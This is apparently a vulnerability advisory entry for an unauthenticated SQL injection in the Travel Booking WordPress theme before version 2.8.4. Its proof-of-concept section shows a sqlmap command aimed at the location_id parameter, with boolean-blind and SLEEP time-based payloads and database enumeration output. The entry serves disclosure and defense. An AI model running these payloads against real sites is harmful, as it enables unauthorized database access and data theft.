Travel Booking < 2.8.4 – Unauthenticated SQL Injection | Theme Vulnerabilities

Description

Unauthenticated SQL Injection via the location_id parameter

Proof of Concept

sqlmap --url="https://example.com/search-rental-full-map/?location_id=1" -dbs --random-agent --time-sec=8

[03:13:37] [INFO] resuming back-end DBMS 'mysql'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: location_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: location_id=1 OR NOT 1188=1188#

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: location_id=1 OR SLEEP(8)
---
[04:17:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (Percona fork)
[04:17:31] [INFO] fetching database names
[04:17:31] [INFO] fetching number of databases

Affects Themes

Fixed in 2.8.4

References

URL

https://themeforest.net/item/traveler-traveltourbooking-wordpress-theme/10822683

URL

https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-23-travel-booking-wordpress-theme-v2-8-3.txt

URL

https://travelerwp.com/traveler-changelog/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Vlad Vector

Submitter

VLΛD VΞCTOR

Submitter website

https://vladvector.ru

Submitter twitter

Verified

Yes

WPVDB ID

b78c668c-f958-40cc-b47f-0a5cc4f48931

Timeline

Publicly Published

2020-07-09 (about 5 years ago)

Added

2020-07-09 (about 5 years ago)

Last Updated

2020-07-10 (about 5 years ago)

Other

Published

Title

Published

2021-08-18

Title

BuddyPress < 9.1.1 - SQL Injections

Published

2014-08-01

Title

Leaflet Maps Marker - Tag Multiple Parameter SQL Injection

Published

2024-04-04

Title

WP Directory Kit < 1.3.1 - Authenticated (Subscriber+) SQL Injection

Published

2011-09-01

Title

SearchAutocomplete <= 1.0.8 - Unauthenticated SQL Injection

Published

2024-08-19

Title

Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder 2.0 - 2.13.9 - Authenticated (Administrator+) SQL Injection